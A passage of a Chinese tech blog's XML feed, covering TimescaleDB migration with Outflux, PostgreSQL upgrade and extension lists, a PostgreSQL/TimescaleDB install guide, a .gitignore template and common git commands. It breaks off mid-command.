taxi \</span><br><span class="line"> --input-server=http://localhost:8086 \</span><br><span class="line"> --output-conn=&quot;dbname=postgres user=postgres&quot; \</span><br><span class="line"> --schema-strategy=DropAndCreate</span><br></pre></td></tr></table></figure><p>在这里，我们使用 DropAndCreate 策略，该策略将删除任何先前命名的表<code>cpu</code>并在管道数据之前创建它。migrate 命令支持多个标志，这些标志为用户选择要迁移的数据提供了灵活性。其中之一是<code>--limit</code>仅从按时间排序的 InfluxDB 数据库导出前 N 行的标志。具有 N=10 限制的 migrate 命令的输出应如下所示：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">$ outflux migrate outflux_tutorial taxi \</span><br><span class="line"> --input-server=http://localhost:8086 \</span><br><span class="line"> --output-conn=&quot;dbname=postgres user=postgres&quot; \</span><br><span class="line"> --schema-strategy=ValidateOnly --limit=10</span><br><span class="line">2019/03/27 12:15:01 All pipelines scheduled</span><br><span class="line">2019/03/27 12:15:01 Overriding PG environment variables for connection with: dbname=postgres</span><br><span class="line">user=postgres</span><br><span class="line">2019/03/27 12:15:01 pipe_taxi starting execution</span><br><span class="line">2019/03/27 12:15:01 Discovering influx schema for measurement: taxi</span><br><span class="line">2019/03/27 12:15:01 Discovered: DataSet &#123; Name: taxi, Columns: [Column &#123;... 2019/03/27 12:15:01</span><br><span class="line">Selected Schema Strategy: ValidateOnly</span><br><span class="line">2019/03/27 12:15:01 Table taxi exists. Proceeding only with validation</span><br><span class="line">2019/03/27 12:15:01 existing hypertable &#x27;taxi&#x27; is partitioned properly</span><br><span class="line">2019/03/27 12:15:01 Starting extractor &#x27;pipe_taxi_ext&#x27; for measure: taxi</span><br><span class="line">2019/03/27 12:15:01 Starting data ingestor &#x27;pipe_taxi_ing&#x27;</span><br><span class="line">2019/03/27 12:15:01 pipe_taxi_ext: Extracting data from database &#x27;outflux_tutorial&#x27;</span><br><span class="line">2019/03/27 12:15:01 pipe_taxi_ext: SELECT &quot;time&quot;, &quot;location_id&quot;, &quot;rating&quot;, &quot;vendor&quot;, &quot;fare&quot;,</span><br><span class="line">&quot;mta_tax&quot;, &quot;tip&quot;, &quot;tolls&quot;</span><br><span class="line">FROM &quot;taxi&quot;</span><br><span class="line">LIMIT 10</span><br><span class="line">2019/03/27 12:15:01 pipe_taxi_ext:Pulling chunks with size 15000</span><br><span class="line">2019/03/27 12:15:01 Will batch insert 8000 rows at once. With commit strategy: CommitOnEachBatch</span><br><span class="line">2019/03/27 12:15:01 pipe_taxi_ext: Extracted 10 rows from Influx</span><br><span class="line">2019/03/27 12:15:01 pipe_taxi_ing: Complete. Inserted 10 rows.</span><br><span class="line">2019/03/27 12:15:01 All pipelines finished</span><br><span class="line">2019/03/27 12:15:01 Migration execution time: 0.055 seconds</span><br></pre></td></tr></table></figure><p>选择导出数据的另一种方法是使用<code>--from</code>和<code>--to</code>标志指定要导出的更窄时间窗口。要仅在 2020 年 1 月 1 日之后导出数据，请执行以下命令：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ outflux migrate outflux_tutorial cpu \</span><br><span class="line"> --input-server=http://localhost:8086 \</span><br><span class="line"> --output-conn=&quot;dbname=postgres user=postgres&quot; \</span><br><span class="line"> --schema-strategy=ValidateOnly --from=2020-01-01T00:00:00Z</span><br></pre></td></tr></table></figure><p>如果仔细观察输出，您可以看到数据是从 InfluxDB 服务器中分块提取的，默认大小为 15000，但可以通过指定<code>--chunk-size</code>标志进行更改。数据分批插入8000行（默认），也可以通过flag修改<code>--batch-size</code>。迁移命令的所有可能标志都列在 GitHub 文档 ( <a href="https://github.com/timescale/outflux#migrate">https://github.com/timescale/outflux#migrate</a> ) 中，或者您可以通过执行来查看它们：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ outflux migrate --help</span><br></pre></td></tr></table></figure><h2 id="十八-版本更新">十八.版本更新</h2><h3 id="1-版本兼容">1.版本兼容</h3><table><thead><tr><th style="text-align:left">TimescaleDB 发布</th><th style="text-align:left">支持的 PostgreSQL 版本</th></tr></thead><tbody><tr><td style="text-align:left">1.7</td><td style="text-align:left">9.6、10、11、12</td></tr><tr><td style="text-align:left">2.0</td><td style="text-align:left">11、12</td></tr><tr><td style="text-align:left">2.1-2.3</td><td style="text-align:left">11、12、13</td></tr><tr><td style="text-align:left">2.4+</td><td style="text-align:left">12、13</td></tr></tbody></table><h3 id="2-timscaledb-更新">2.timscaledb 更新</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ALTER</span> EXTENSION timescaledb <span class="keyword">UPDATE</span>;</span><br></pre></td></tr></table></figure><h3 id="3-pgsql-更新">3.pgsql 更新</h3><p>TimescaleDB 的每个版本都与特定版本的 PostgreSQL 兼容。随着时间的推移，我们将添加对新版本 PostgreSQL 的支持，同时放弃对旧版本的支持。</p><p>当支持的 PostgreSQL 版本发生变化时，您可能需要升级<strong>PostgreSQL 实例</strong>的版本（例如从 10 到 12），然后才能安装最新版本的 TimescaleDB。</p><p>要升级 PostgreSQL，您有两种选择，如 PostgreSQL 在线文档中所述。</p><p>用<a href="https://www.postgresql.org/docs/current/static/pgupgrade.html"><code>pg_upgrade</code></a>是一种工具，它避免了在安装新版本后转储所有数据然后将其导入新 PostgreSQL 实例的需要。相反，<code>pg_upgrade</code>允许您保留当前 PostgreSQL 安装的数据文件，同时将新的 PostgreSQL 二进制运行时绑定到它们。目前，所有版本 8.4 及更高版本均支持此功能。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"># 创建新的data文件夹</span><br><span class="line">mkdir /mnt/data/postgresql_data_13/</span><br><span class="line"># 授权</span><br><span class="line">chmod 700 /mnt/data/postgresql_data_13/</span><br><span class="line">chown -R postgres:postgres /mnt/data/postgresql_data_13/</span><br><span class="line"></span><br><span class="line"># 记得在切postgres用户时处于一个可写目录否则会出现could not write to log file &quot;pg_upgrade_internal.log&quot;</span><br><span class="line">cd /tmp</span><br><span class="line"></span><br><span class="line">su postgres</span><br><span class="line">pg_upgrade -b oldbindir -B newbindir -d olddatadir -D newdatadir</span><br><span class="line"></span><br><span class="line"># 如</span><br><span class="line">/usr/pgsql-11/bin/pg_upgrade --link -b /usr/pgsql-11/bin -B /usr/pgsql-13/bin -d /mnt/data/postgresql_data -D /mnt/data/postgresql_data_13</span><br></pre></td></tr></table></figure><h2 id="十九-插件">十九.插件</h2><p>可根据项目需要自定义安装需要的插件</p><p><strong>监控：</strong></p><p>pg_stat_statements</p><p>system_stats用于观察OS层的信息</p><p>pg_stat_kcache可以观察单条SQL花费多少cpu等</p><p>pg_stat_monitor：pg_stat_statements和pg_stat_kcache的结合体</p><p>pgpro_stats：等待事件统计、采样配置、自动化监控</p><p>pgsentinel、pgsampler：类Oracle ASH</p><p><strong>命令行：</strong></p><p>pg_top，类top工具</p><p>pgcenter：全能监控工具</p><p>pg_activity：命令行top工具</p><p>pg_sysstat：相对简陋</p><p><strong>SQL：</strong></p><p>pg_hint_plan：hint功能</p><p>pg_query：高亮，识别风险SQL</p><p>pg_plan_advsr：懒人优化</p><p>hypopg：类似MySQL虚拟索引</p><p>sr_plan：保存、篡改、固定 执行计划，Oracle兼容</p><p>pg_parallizator：并行创建索引</p><p><strong>JOB：</strong></p><p>pg_timetable</p><p>pg_cron</p><p>pg_agent</p><p><strong>连接池：</strong></p><p>pgbouncer</p><p>pgagroal</p><p>odyssey</p><p><strong>巡检：</strong></p><p>Toolkit——percona</p><p><strong>sharding：</strong></p><p>citus、pg_shardman、plproxy</p><p><strong>FDW：</strong></p><p>oracle_fdw</p><p>mysql_fdw</p><p>mongo_fdw</p><p>sqlserver_fdw</p><p>file_fdw</p><p>等等</p><p><a href="https://wiki.postgresql.org/wiki/Foreign_data_wrappers">https://wiki.postgresql.org/wiki/Foreign_data_wrappers</a></p><p><strong>Other：</strong></p><p>ADG：图数据库</p><p>pg_buffercache：观察buffer</p><p>pgstattuple：行级别的统计</p><p>pg_filedump、pg_waldump、pg_walminer、pg_fix：观察文件、日志，修改日志</p><p>pgtrashcan：垃圾回收站</p><p>pg_timeout：空闲会话超时，pg14引入idle_session_timeout参数</p><p>pgcrypto：数据加密模块</p><p>pg_audit、pg_log_userqueries、pgreplay：审计</p><p>pageinspect：内窥数据库BLOCK的内容</p><p>passwordcheck：密码复杂度检测</p><p>pg_buffercache：统计数据库shared buffer的内容</p><p>pgcrypto：加密插件</p><p>pg_freespacemap：观察数据库fsm文件内容</p><p>pgrowlocks：行锁统计</p><p>pgstattuple,：记录级别统计信息观察</p><p>pg_trgm：模糊查询, 相似文本查询</p><p>pg_visibility：观察数据库block的vm标签值(all visibility, frozen, dirty等)</p><p>pg_prewarm、pg_fincore：数据预热</p><p>tablefunc：行列转换，connect by</p><p>auto_explain、pg_show_plans：执行计划</p><p>zhparser、pg_jieba：中文分词</p><p>pg_trgm、pg_bigm(没有3个分词限制)、pgroonga：模糊查询</p><p>pg_similarity、cube、rum：相似查询</p><p>pg_pathman、pg_partman：分区</p><p>pg_qualstats：索引建议</p><p>pg_wait_sampling：等待事件采样</p><p>citext：大小写</p><p>pg_query_state：后台工作情况</p><p>session_exec：失败超过次数自动锁定</p><p>postgis：强大的地理空间数据</p><p>pg_readonly：设为只读，类似transaction_read_only</p><p>pg_tt：全局临时表</p><p>pg_dropbuffer、pg_dropcache：删除cache和buffer</p><p>set_user、pg_permissions、pg_restrict：ACL，权限进一步加强</p><p>diskquota：类Oracle profile，不过只能限制磁盘</p><p>pg_prioritize：进程优先级调度</p><p>sql_firewall：SQL防火墙</p><p>auth_delay：防破解、安全</p><p>timescaledb：时序数据库</p><p>md5hash、gzip（wget <a href="http://api.pgxn.org/dist/gzip/1.0.0/gzip-1.0.0.zip">http://api.pgxn.org/dist/gzip/1.0.0/gzip-1.0.0.zip</a> ）、pgzstd：加密压缩</p><p>ddlx、pgddl：获取DDL</p><p>uuid-ossp：uuid生成</p><p>pipelindb：流式计算</p><p>orafce：oracle兼容、package一些内置函数等</p><p>pg_roaringbitmap：精准营销</p><p>pg_repack、pg_sequeeze：冻结、重建、垃圾回收</p><p>AWR：pg_awr、pg_profile</p><p>逻辑复制、cdc相关：wal2json、wal2mongo、decoder_raw、pglogical、decoderbufs</p><p>zedstore, 行列混合存储</p><p>undam、zheap：undo引擎</p><p>pgpool：读写分离、负载均衡</p><h2 id="附-pgsql-timescaledb安装">附.pgsql+timescaledb安装</h2><h3 id="1-下载最新版本pgsql">1.下载最新版本pgsql</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %&#123;rhel&#125;)-x86_64/pgdg-redhat-repo-latest.noarch.rpm</span><br></pre></td></tr></table></figure><h3 id="2-添加PostgreSQL-repo">2.添加PostgreSQL repo</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"># Add timescaledb repo</span><br><span class="line">sudo tee /etc/yum.repos.d/timescale_timescaledb.repo &lt;&lt;EOL</span><br><span class="line">[timescale_timescaledb]</span><br><span class="line">name=timescale_timescaledb</span><br><span class="line">baseurl=https://packagecloud.io/timescale/timescaledb/el/$(rpm -E %&#123;rhel&#125;)/\$basearch</span><br><span class="line">repo_gpgcheck=1</span><br><span class="line">gpgcheck=0</span><br><span class="line">enabled=1</span><br><span class="line">gpgkey=https://packagecloud.io/timescale/timescaledb/gpgkey</span><br><span class="line">sslverify=1</span><br><span class="line">sslcacert=/etc/pki/tls/certs/ca-bundle.crt</span><br><span class="line">metadata_expire=300</span><br><span class="line">EOL</span><br><span class="line"></span><br><span class="line">sudo yum update -y</span><br></pre></td></tr></table></figure><h3 id="3-如果是CenterOs8禁用内置的pgsql">3.如果是CenterOs8禁用内置的pgsql</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">if command -v dnf; then sudo dnf -qy module disable postgresql; fi</span><br></pre></td></tr></table></figure><h3 id="4-安装timscaledb">4.安装timscaledb</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install -y timescaledb-2-postgresql-13</span><br></pre></td></tr></table></figure><h3 id="5-可初始配置（基本不用执行）">5.可初始配置（基本不用执行）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo timescaledb-tune</span><br></pre></td></tr></table></figure><h3 id="6-修改默认数据目录">6.修改默认数据目录</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># 首先在/home下创建一个Postgresql的数据目录，指定所有者postgres同时分配权限</span><br><span class="line">mkdir /home/postgresql_data</span><br><span class="line">chown postgres:postgres /home/postgresql_data</span><br><span class="line">chmod 750 /home/postgresql_data</span><br></pre></td></tr></table></figure><h3 id="7-设置环境变量">7.设置环境变量</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"># vim /etc/profile</span><br><span class="line"></span><br><span class="line"># 环境变量配置</span><br><span class="line">export PATH=/usr/pgsql-13/bin:$PATH</span><br><span class="line">export LD_LIBRARY_PATH=/usr/pgsql-13/lib</span><br><span class="line">export PGDATA=/home/postgresql_data</span><br><span class="line"></span><br><span class="line"># 环境变量生效</span><br><span class="line">source /etc/profile</span><br></pre></td></tr></table></figure><h3 id="8-切换postgres用户-并初始化数据库">8.切换postgres用户 并初始化数据库</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181500475.png" alt="image-20211018150059330"></p><h3 id="9-修改配置内容指定正确的data路径">9.修改配置内容指定正确的data路径</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181747053.png" alt="image-20211018174711937"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181748409.png" alt=""></p><h3 id="10-监听所有地址">10.监听所有地址</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181754040.png" alt="image-20211018175408928"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181502170.png" alt="image-20211018150206081"></p><h3 id="11-添加timescaledb库">11.添加timescaledb库</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181502519.png" alt="image-20211018150232420"></p><h3 id="12-配置数据库开机启动并启动数据库服务">12.配置数据库开机启动并启动数据库服务</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable postgresql-13.service</span><br><span class="line">service postgresql-13 start</span><br><span class="line"># 查看状态</span><br><span class="line">service postgresql-13 status</span><br><span class="line">service postgresql-13 stop</span><br><span class="line">service postgresql-13 restart</span><br></pre></td></tr></table></figure><h3 id="13-远程访问配置">13.远程访问配置</h3><p>添加如下行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">host    all             all             0.0.0.0/0            md5</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181504047.png" alt="image-20211018150414923"></p><h3 id="14-注意事项">14.注意事项</h3><h6 id="必须开启服务器5432端口并设置用户权限alter-role-postgres-with-password-‘123456’-才能正常使用工具远程访问">必须开启服务器5432端口并设置用户权限alter role postgres with password ‘123456’;才能正常使用工具远程访问</h6><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/61f54e4073d3cb721014ad99257bfc4d.png" alt="image-20230410115856329"></p><h3 id="15-windows中安装">15.windows中安装</h3><h4 id="下载pgsql安装包一直下一步即可">下载pgsql安装包一直下一步即可</h4><p>配置路径 + /bin 到环境变量</p><p>执行timescaled插件包中的setup.exe<br>输入psql中postgres.conf 路径到cmd中</p><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181508023.png" alt="image-20211018150831930"></p>]]></content>
    
    
    <summary type="html">本文内容大部分为官方文档翻译得出，小部分为自己的使用经验，存在不准确的内容自行脑补。</summary>
    
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    
    <category term="postgres" scheme="https://blog.allbs.cn/tags/postgres/"/>
    
    <category term="timescaledb" scheme="https://blog.allbs.cn/tags/timescaledb/"/>
    
    <category term="文档" scheme="https://blog.allbs.cn/tags/%E6%96%87%E6%A1%A3/"/>
    
  </entry>
  
  <entry>
    <title>git上传文件忽略配置.gitignore模版</title>
    <link href="https://blog.allbs.cn/posts/5080/"/>
    <id>https://blog.allbs.cn/posts/5080/</id>
    <published>2022-08-30T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line">### gradle ###</span><br><span class="line">.gradle</span><br><span class="line">/build/</span><br><span class="line">!gradle/wrapper/gradle-wrapper.jar</span><br><span class="line"></span><br><span class="line">### STS ###</span><br><span class="line">.settings/</span><br><span class="line">.apt_generated</span><br><span class="line">.classpath</span><br><span class="line">.factorypath</span><br><span class="line">.project</span><br><span class="line">.settings</span><br><span class="line">.springBeans</span><br><span class="line">bin/</span><br><span class="line"></span><br><span class="line">### IntelliJ IDEA ###</span><br><span class="line">.idea</span><br><span class="line">*.iws</span><br><span class="line">*.iml</span><br><span class="line">*.ipr</span><br><span class="line">*.lock</span><br><span class="line">rebel.xml</span><br><span class="line"></span><br><span class="line">### NetBeans ###</span><br><span class="line">nbproject/private/</span><br><span class="line">build/</span><br><span class="line">nbbuild/</span><br><span class="line">dist/</span><br><span class="line">nbdist/</span><br><span class="line">.nb-gradle/</span><br><span class="line"></span><br><span class="line">### maven ###</span><br><span class="line">target/</span><br><span class="line">*.war</span><br><span class="line">*.ear</span><br><span class="line">*.zip</span><br><span class="line">*.tar</span><br><span class="line">*.tar.gz</span><br><span class="line"></span><br><span class="line">### logs ####</span><br><span class="line">/logs/</span><br><span class="line">/log/</span><br><span class="line">*.log</span><br><span class="line"></span><br><span class="line">### temp ignore ###</span><br><span class="line">*.cache</span><br><span class="line">*.diff</span><br><span class="line">*.patch</span><br><span class="line">*.tmp</span><br><span class="line">*.java~</span><br><span class="line">*.properties~</span><br><span class="line">*.xml~</span><br><span class="line"></span><br><span class="line">### system ignore ###</span><br><span class="line">.DS_Store</span><br><span class="line">Thumbs.db</span><br><span class="line">Servers</span><br><span class="line">.metadata</span><br><span class="line">upload</span><br><span class="line">gen_code</span><br><span class="line"></span><br><span class="line">### node ###</span><br><span class="line">.DS_Store</span><br><span class="line">node_modules</span><br><span class="line">/dist</span><br><span class="line"></span><br><span class="line"># local env files</span><br><span class="line">.env.local</span><br><span class="line">.env.*.local</span><br><span class="line"></span><br><span class="line"># Log files</span><br><span class="line">logs</span><br><span class="line">*.log</span><br><span class="line">npm-debug.log*</span><br><span class="line">yarn-debug.log*</span><br><span class="line">yarn-error.log*</span><br><span class="line">pnpm-debug.log*</span><br><span class="line"></span><br><span class="line"># Editor directories and files</span><br><span class="line">.idea</span><br><span class="line">*.suo</span><br><span class="line">*.ntvs*</span><br><span class="line">*.njsproj</span><br><span class="line">*.sln</span><br><span class="line">*.sw?</span><br><span class="line"></span><br><span class="line"># Lock files</span><br><span class="line">yarn.lock</span><br><span class="line">pnpm-lock.yaml</span><br><span class="line">package-lock.json</span><br><span class="line"></span><br><span class="line"># Yarn v2 not using using Zero-Installs</span><br><span class="line">.yarn/*</span><br><span class="line">#!.yarn/cache</span><br><span class="line">!.yarn/patches</span><br><span class="line">!.yarn/plugins</span><br><span class="line">!.yarn/releases</span><br><span class="line">!.yarn/sdks</span><br><span class="line">!.yarn/versions</span><br><span class="line">.pnp.*</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span c</summary>
      
    
    
    
    <category term="git" scheme="https://blog.allbs.cn/categories/git/"/>
    
    
    <category term="git" scheme="https://blog.allbs.cn/tags/git/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>git常用指令</title>
    <link href="https://blog.allbs.cn/posts/59993/"/>
    <id>https://blog.allbs.cn/posts/59993/</id>
    <published>2022-08-30T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h4 id="git-创建远程分支">git 创建远程分支</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建本地分支</span></span><br><span class="line">git checkout -b dev</span><br><span class="line"><span class="comment"># 建立本地到远端仓库的链接</span></span><br><span class="line">git push --set-upstream origin dev</span><br></pre></td></tr></table></figure><h4 id="设置Git的user-name和email：">设置Git的user name和email：</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ git config --global user.name <span class="string">&quot;&quot;</span></span><br><span class="line">$ git config --global user.email <span class="string">&quot;&quot;</span></span><br></pre></td></tr></table></figure><h4 id="生成SSH密钥过程：">生成SSH密钥过程：</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看是否已经有了ssh密钥：</span></span><br><span class="line"><span class="built_in">cd</span> ~/.ssh</span><br><span class="line"><span class="comment"># 生成密钥：</span></span><br><span class="line">ssh-keygen -t rsa -C <span class="string">&quot;xxx@icloud.com&quot;</span></span><br><span class="line"><span class="comment"># 一路回车</span></span><br><span class="line">Your identification has been saved <span class="keyword">in</span> /home/tekkub/.ssh/id_rsa.</span><br><span class="line">Your public key has been saved <span class="keyword">in</span> /home/tekkub/.ssh/id_rsa.pub.</span><br><span class="line">The key fingerprint is:</span><br><span class="line"><span class="comment"># 最后得到了两个文件：id_rsa和id_rsa.pub</span></span><br></pre></td></tr></table></figure><h4 id="添加密钥到ssh：ssh-add-文件名需要之前输入密码。">添加密钥到ssh：ssh-add 文件名需要之前输入密码。</h4><h4 id="在github上添加ssh密钥，这要添加的是“id-rsa-pub”里面的公钥。打开https-github-com-，登陆，然后添加ssh。">在github上添加ssh密钥，这要添加的是“id_rsa.pub”里面的公钥。打开<a href="https://github.com/">https://github.com/</a> ，登陆，然后添加ssh。</h4><h4 id="测试：ssh-git-github-com">测试：ssh <a href="http://mailto:git@github.com">git@github.com</a></h4><h4 id="上传克隆全流程">上传克隆全流程</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 设置全局姓名</span></span><br><span class="line">$ git config--global user.name <span class="string">&quot;姓名&quot;</span></span><br><span class="line"><span class="comment"># 设置全局邮箱</span></span><br><span class="line">$ git config --global user.email<span class="string">&quot;邮箱&quot;</span></span><br><span class="line"><span class="comment"># 项目git初始化</span></span><br><span class="line">git init</span><br><span class="line"><span class="comment"># 查看git状态</span></span><br><span class="line">git status</span><br><span class="line"><span class="comment"># 关联远程地址</span></span><br><span class="line">git remote add origin https://gitee.com/passing92/allbs-cloud.git</span><br><span class="line"><span class="comment"># 拉取指定分支代码</span></span><br><span class="line">git pull --rebase origin master</span><br><span class="line"><span class="comment"># 暂存所有本地代码</span></span><br><span class="line">git add .</span><br><span class="line"><span class="comment"># 提交暂存代码至本地仓库</span></span><br><span class="line">git commit -m <span class="string">&#x27;注释信息&#x27;</span></span><br><span class="line"><span class="comment"># 推送本地仓库变更至远程仓库指定分质</span></span><br><span class="line">git push -u origin master -f</span><br><span class="line"><span class="comment"># 克隆指定库的代码</span></span><br><span class="line">git <span class="built_in">clone</span> https://gitee.com/passing92/allbs-cloud.git</span><br></pre></td></tr></table></figure><h4 id="单独对某个项目设置用户和邮箱信息">单独对某个项目设置用户和邮箱信息</h4><p>打开.git文件夹</p><p>修改文件config内容</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/a36eca53ae72560c7984220b0ee470b9.png" alt="image-20220830115510934"></p><h4 id="强制覆盖本地">强制覆盖本地</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">git fetch --all </span><br><span class="line">git reset --hard origin/master </span><br><span class="line">git pull</span><br><span class="line"><span class="comment"># 合并指令</span></span><br><span class="line">git fetch --all &amp;&amp; git reset --hard origin/master &amp;&amp; git pull</span><br><span class="line"><span class="comment"># 指定本地分支与远程分支</span></span><br><span class="line">git branch 